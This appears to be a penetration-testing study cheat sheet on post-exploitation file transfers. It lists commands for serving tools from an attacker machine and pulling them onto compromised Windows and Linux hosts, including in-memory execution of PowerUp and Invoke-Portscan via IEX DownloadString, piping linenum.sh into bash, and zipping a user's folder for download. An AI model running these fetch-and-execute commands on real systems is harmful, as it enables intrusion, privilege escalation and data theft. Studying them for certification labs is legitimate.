// notes/ Pivoting & Tunneling
🚀
File Transfers
Notes from oscp.adot8.com — post exploitation.
#post exploitation#adot8
source · oscp.adot8.com · post-exploitation/file-transfers ↗File Transfers
Hosting files
🐺 howlsec@kalibash
$python -m SimpleHTTPServer 80🐺 howlsec@kalibash
$python -m pyftpdlib -p 21 --write🐺 howlsec@kalibash
$smbserver.py share `pwd` -smb2supportTransfering via Windows Machine
🐺 howlsec@kalipowerquery
01certutil.exe -urlcache -f http://10.10.14.8/PowerUp.ps1 🐺 howlsec@kalipowerquery
01curl http://10.10.14.8/PowerUp.ps1 -O PowerUp.ps1🐺 howlsec@kalipowerquery
01powershell.exe Invoke-WebRequest http://10.10.14.8/PowerUp.ps1 -OutFile PowerUp.ps1
02
03powershell.exe -command iwr -Uri http://10.10.14.8/PowerUp.ps1 -OutFile C:\Temp\PowerUp.ps1 "A .ps1 script can be ran in memory instead of being saved to the disk using iex
<pre class="language-powerquery"><code class="lang-powerquery"><strong>powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.6/PowerUp.ps1');Invoke-Allchecks" </strong></code></pre>🐺 howlsec@kalicode
01IEX(New-Object Net.WebClient).downloadString('http://10.10.14.6/Invoke-Portscan.ps1')Compress folder into zip before downloading
🐺 howlsec@kalipowershell
$Compress-Archive -Path C:\Users\nikk37\ -DestinationPath 1.zipTransfering via Linux Machine
🐺 howlsec@kalibash
$wget http://10.10.14.8/linPEAS.sh 🐺 howlsec@kalibash
$curl http://10.10.14.8/linPEAS.sh -o linPEAS.sh🐺 howlsec@kalibash
$curl http://10.10.14.6/linenum.sh | bash